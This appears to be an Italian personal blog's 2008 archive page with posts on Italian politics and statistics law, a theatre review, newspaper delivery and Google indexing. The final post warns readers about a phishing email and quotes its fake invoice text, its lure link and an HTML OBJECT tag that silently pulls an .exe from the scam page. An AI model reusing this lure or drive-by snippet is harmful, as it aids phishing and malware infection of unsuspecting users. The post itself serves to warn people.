Archivi annuali: 2008

ISTAT e Corte dei Conti

Una pessima abitudine invalsa da alcuni anni per la fine dell’anno civile è quella del cosiddetto “decreto milleproroghe”: un lunghissimo decreto legge che serve a mettere a posto tutto quello che non si è riusciti a fare durante l’anno, dando ancora sessanta giorni di tempo per riuscire a votarlo. Quello che c’è di brutto in questo decreto è che al suo interno c’è proprio di tutto, e non si ha mai il tempo di capire se le norme in esso contenute sono valide, inutili o addirittura dannose.
Tra quanto approvato il mese scorso, fa notare Lavoce.info, c’è stato un codicillo pieno di buon senso. Occorre fare un passo indietro e ricordare che l’ISTAT, l’Istituto ufficiale italiano di Statistica, ogni tanto fa delle domande a un campione di persone per poter preparare le sue statistiche. Ricordo ad esempio che una quindicina di anni fa mi arrivò un bel plico dove mi si chiedeva di rispondere a una sfilza di domande sulla mia occupazione post-laurea: come sempre ho rovinato i risultati ;-) Io non ho naturalmente avuto nessun problema a rispondere, ma immagino ci sia della gente che per principio o per pigrizia non lo faccia: bene, la legge (decreto legislativo 322/1989, articoli 7 e 11) prevedeva una multa da 200 a 2000 euro (se privati) o 5164 euro (se aziende) nel caso non si fosse risposto. All’Istat sono delle persone intelligenti e hanno sempre fatto finta di nulla; alla Corte dei Conti sono tutti dei ragionieri, e hanno contestato all’Istat di avere fatto un ingente danno all’erario, qualcosa come 191 milioni di euro. Bene: nel decreto milleproroghe c’è anche una norma che restringe la multa ai soli rifiuti formali, e rende la norma retroattiva.
Ma perché ho scritto che all’Istat sono intelligenti? Beh, pensateci su un attimo. Se qualcuno mi costringesse a rispondere a un questionario, pena una multa, e io non avessi affatto voglia di farlo, la prima cosa che mi verrebbe in mente sarebbe mettere risposte a caso. (Qualcuno di voi magari avrebbe scritto l’opposto del vero, ma io sono più bastardo e preferisco evitare ogni correlazione possibile). Il risultato sarebbe un inquinamento delle risposte, che è sicuramente peggio di avere dei dati in meno: un bravo statistico riesce a ottenere qualcosa anche con dati meno completi di quanto vorrebbe, in fin dei conti, ma non può fare nulla con dati sbagliati.
Insomma, onore a chi ha pensato di sanare questa magagna, e onore a quelli di Lavoce.info che l’hanno resa pubblica, checché ne scrivano quelli di CriticaMente.

Ultimo aggiornamento: 2008-01-23 16:14

_Sei brillanti_ (teatro)

Un bel po’ in ritardo – non c’è nemmeno più in cartellone al Carcano – ma ecco la recensione dell’ultimo spettacolo di Paolo Poli, che poi tanto recente non è perché è alla sua seconda stagione: in effetti non c’era il pienone a teatro, ma in fin dei conti l’avevano già visto tutti tranne me.
Lo spettacolo segue il solito canovaccio di Poli: rutilanti costumi, molte parti en travesti sue e dei suoi boys, una scenografia scarna ma con immagini che richiamano Tamara de Lempicka, Felice Casorati, Salvador Dalí, o più semplicemente Totò, Macario e il Feroce Saladino. I “sei brillanti” sono in realtà le sei brillanti scrittrici e giornaliste tra gli anni ’20 e gli ’80 del secolo scorso, di cui Poli riprende alcuni pezzi. Mura (Maria Volpi Nannipieri), con “Perfide”, fantasia erotica al femminile; Paola Masino, con “Fame” e la crisi del ’29; Irene Brin, con le “Visite”, o meglio le allucinazioni del dopoguerra; Camilla Cederna, con “Lato debole” trasportato nei musei Vaticani dove si parla di moda con il cardinale Poli; quello che a mio parere è il racconto migliore, “Lui visto da lei” di Natalia Aspesi, e infine Elena Gianini Belotti con “Adagio poco mosso” e una vecchietta che non vuole assolutamente finire in casa di riposo. Il tutto è inframezzato dalle usuali coreografie danzanti, dove purtroppo si nota che Poli non è più un giovinotto e non può certo saltare su e giù per il palco. Nota di merito però quando entra a cantare Splendido Splendente, davvero favoloso.
Ah: stavolta è stato forse un po’ più monomaniaco del solito. In tutte le scene c’era almeno un prete o un prelato, fino ad arrivare al balletto su Tropicana con quattro boys vestiti da papa che bevevano appunto il Tropicana (yeah) da un calice da messa…

Ultimo aggiornamento: 2016-03-27 18:45

Macché crisi e crisi!

Le prime pagine di tutti i giornali continuano a rilanciare notizie sulla crisi di governo (ah, Prodi si è quasi scocciato del tutto, se chiederà esplicitamente la fiducia. Solo “quasi”, perché va prima alla Camera dove dovrebbe comunque averla…). Poi, se si va sulle pagine molto interne, si può ad esempio leggere questo. C’era una legge, fatta da nemmeno tre mesi, che vietava alle discoteche di vendere alcolici dopo le due di notte. Ma l’Italia è il paese delle leggi, e improvvisamente si è risvegliato l’iter della legge di riforma sulla sicurezza stradale. In un sussulto di decisionismo, la nuova legge è stata approvata in Commissione Trasporti all’unanimità, e quindi non dovrà passare in parlamento. Peccato però che casualmente non ci sia più il divieto di cui sopra. Un pensiero in meno. Ragazzi, sono riusciti a fare protestare contro l’abolizione della norma financo Carlo Giovanardi! Ma vi rendete conto? (no, probabilmente no)
Ho sbagliato tutto dieci anni fa, quando potevo ancora andarmene via dall’Italia senza problemi.

Ultimo aggiornamento: 2008-01-22 11:16

Pronto bici

Ricevo e inoltro (giusto perché si parla di biciclette, lo sapete che ho un debole…)
Pronto Bici è un servizio offerto dalla cooperativa Itacoop, finalizzata all’inserimento al lavoro di persone con una storia di malattia psichica. È una “ciclofficina a domicilio”: chiamando il 346/4754234 si può fare arrivare a domicilio (all’interno del Comune di Milano) qualcuno che ripara sul posto la vostra bicicletta; oppure si possono acquistare bici nuove o usate. Il comunicato stampa completo si può leggere ad esempio qua.

Ultimo aggiornamento: 2008-01-22 10:31

Repubblica porta-a-porta

Mi sembrava strano che dopo l'”offensiva OreSette” del Corsera quelli di Repubblica stessero a guardare. E in effetti stamattina c’è stata quella che almeno in teoria dovrebbe essere la risposta. Però…
Anche in questo caso la copia gratuita è stata consegnata il lunedì mattina. Però l’ignoto consegnante l’ha messa nella buca delle lettere, il che significa che probabilmente nessuno se n’è accorto perché non guarda certo la posta prima di uscire. Se il giornale l’aveva comprato lo stesso (è stato il caso di Anna), la rabbia nel trovarsi una seconda copia la sera secondo me diventa controproducente.
Inoltre non c’è un adesivo, un depliant o qualcosa del genere a pubblicizzare il servizio, ma solo un timbro in alto a sinistra che dice Consegna gratuita / a casa tua entro le 7 / Tel. 02 39 32 55 48. No, non ho pecettato per non fare pubblicità al servizio, che per la precisione non dipende da Repubblica ma è offerto da CityQpoint. Il punto è che chi ha messo il timbro sul giornale non si è accorto che la parte in fondo era illeggibile perché cascava su una fotografia dal colore scuro. In effetti io credevo ci fosse scritto 18, e ho dovuto fare un po’ di ricerche per trovare il nome della società.
Insomma, questa volta il Corsera ha vinto a man bassa!
Aggiornamento: (23 gennaio) forse mi hanno in parte ascoltato. Anche ieri c’era il giornale in buca (e quindi Anna non l’ha visto quando è uscita), però il timbro era piazzato meglio e il numero di telefono si leggeva perfettamente. Stamattina però la teorica pacchia è finita.

Ultimo aggiornamento: 2008-01-21 20:30

Cossighiade

Io ho un cruccio: che Francesco Cossiga, presidente emerito degli italiani, non abbia un blog in cui postare tutte le sue esternazioni. Non so cosa gli diano per tenerlo su così, ma leggerlo è sempre un’epifania. Ecco la sua dichiarazione odierna, dopo che Mastella ha detto che avrebbe lasciato il governo:
“L’uscita dalla maggioranza dell’Udeur è da un punto di vista costituzionale irrilevante ai fini della sopravvivenza del governo. Secondo la Costituzione, il governo può essere rovesciato solo da un’apposita mozione di sfiducia, collettiva e non individuale”. Lo rileva l’ex presidente della Repubblica Francesco Cossiga. “D’altronde – osserva ancora Cossiga – l’uscita dalla maggioranza non comporta neanche il rimpasto di governo, perché l’Udeur al governo non ha più nessuno. D’altronde, per presentare una mozione di sfiducia al Senato occorrerebbe un numero di firme che i senatori dell’Udeur, essendo tre, non hanno, e certamente non saranno né Forza Italia, né l’Udc, che ormai è a un passo dall’entrare nella maggioranza, né An a firmare detta mozione”. “Il consiglio che posso dare al presidente del Consiglio Romano Prodi – conclude Cossiga – è ‘resistere, resistere, resistere’, e a tal fine nominare come ministro della Giustizia colui che ha inventato questo slogan, l’ex procuratore capo di Milano Francesco Saverio Borrelli”
In pratica, ha sbertucciato quelli dell’Udeur dando loro dell’irrilevante. Ha immediatamente tarpato eventuali aspettative dell’UDC – che forse c’erano davvero: se Casini ha detto “subito al Colle” e non “subito la fiducia”, significa che non vuole un voto di sfiducia esplicito. Infine ha detto a Prodi che tanto non otterrà nulla. D’altra parte la mia sensazione è che la maggior parte dei politici sta pensando a rivotare con il Porcellum; la Camera ribalterà la maggioranza, ma al Senato la situazione sarà più o meno simmetrica, e quindi sta preparandosi per gli inciuci successivi.
Insomma, Cossiga for President! Ah, c’è già stato? Vabbè, non sottilizziamo…

Ultimo aggiornamento: 2008-01-21 20:17

La rapidità di Google

La prima versione della notiziola precedente è stata pubblicata alle 14:25 (non guardate l’ora indicata: è quella in cui ho iniziato a scriverla). La prima persona che l’ha letta è un mio lettore abituale, a giudicare dai log di lloogg – non so chi sia, e comunque non lo direi – alle 14:32. La prima persona che l’ha letta come risultato di una ricerca su google è arrivata alle 15:02; poi ce ne sono stati parecchi, ma questo lo immaginavo, ho scritto la notiziola apposta per avvisare e rassicurare la gente.
Quello che non mi immaginavo è che Google si prende la briga di verificare se questo blog ultraperiferico è stato aggiornato con una frequenza assolutamente incredibile. Sì, potrebbe esserci stato il colpo di fortuna che il giro del suo ragno stava giusto passando da me, ma già in altri casi avevo notato che l’aggiornamento avveniva in poche ore. Se ci pensate, la cosa fa davvero paura.

Ultimo aggiornamento: 2008-01-21 15:13

Attenti alle fatture

Anna mi ha appena passato un minaccioso messaggio che le era arrivato per email. Il testo è il seguente:
Subject: Avviso di insoluto su Fattura
Gentile Cliente,
Da un nostro controllo contabile non ci risulta a tutt'oggi il pagamento della fattura P.N. 335624-1 dell'importo di Euro 4.329,50.
Se la fattura risulta gia saldata o se ritiene possa sussistere un errore cotabile la invito a prendere visione del conto da pagare attraverso il nostro:
www.avvocati-ass.com/Fatturazione_CEF/FTR-335624.html ( clicca per collegarti )
In difetto, provvederò ad agire nelle sedi opportune, senza ulteriore preavviso.
Distinti saluti.
Dott.Avv. Giancarlo Gentiloni
I miei affezionati lettori avranno immediatamente notato i due errori di grammatica (“gia saldata” ed “errore cotabile“) e avranno capito che si tratta di un phishing. In effetti, cliccando sul link, esce una pagina dal titolo intimidente ATTO DI DIFFIDA E MESSA IN MORA e l’immagine di una pagina rimpicciolita in modo che non possa leggerla. Se avete un PC windows, non provate a cliccare né sulla pagina né sulla scritta “ingrandisci”, visto che verrebbe immediatamente scaricato un file .exe che non voglio affatto sapere cosa faccia.
Inoltre, guardando il sorgente di quella pagina, c’è anche il codice seguente: <OBJECT CLASSID="CLSID:F16FEB0E-2A86-4228-AFF1-E7500263A51F" CODEBASE="Fatt56563A.exe" width="1" height="1"></OBJECT> che potrebbe dare dei guai anche senza cliccare su quelle immagini, solo aprendo la pagina di cui sopra. Non dite che non vi ho avvertiti!
ps: se uno va a fare un controllo whois sul nome a dominio avvocati-ass.com, scopre che è stato registrato attraverso una società californiana che nasconde il nome del gestore vero e proprio, e soprattutto scopre che è stato registrato sabato pomeriggio scorso: Creation date: 19 Jan 2008 14:27:36. Se poi si vuole divertire, può andare alla pagina di informazioni, dove scopre – ma non c’è nulla di strano – che il sito è cinese… Il curiosone può anche andare all’indirizzo IP corrispondente e vedere un po’ di ideogrammi che Babelfish mi traduce più o meno come “il tuo sito non è stato ben configurato”. Ma forse quando voi leggerete questa mia notiziola, l’IP sarà cambiato: il sito infatti dice che il client può salvare l’indirizzo per non più di tre minuti (il default è da uno a tre giorni :-) )
Aggiornamento: (h 21:50) A quanto pare, questa notiziola mi ha fatto raggiungere nuove vette di contatti, più che i miei pipponi con Ratzi della scorsa settimana. D’altra parte, in questo momento non solo una ricerca per “avvocati-ass.com” riporta il mio blog al primo posto (fregando altri che ne avevano parlato prima di me…), ma non ci sono occorrenze al di fuori del circuito dei blog e dei forum. Quindi nulla dai grandi quotidiani online, ma soprattutto nulla dalle società che si fanno pagare per le loro “soluzioni di sicurezza”. Magari poi i loro prodotti bloccano il troiano, ma per molta gente loro sono la Fonte di Tranquillità, e un avvisino sul loro portale sarebbe stato utile. O no?

Ultimo aggiornamento: 2008-01-21 14:18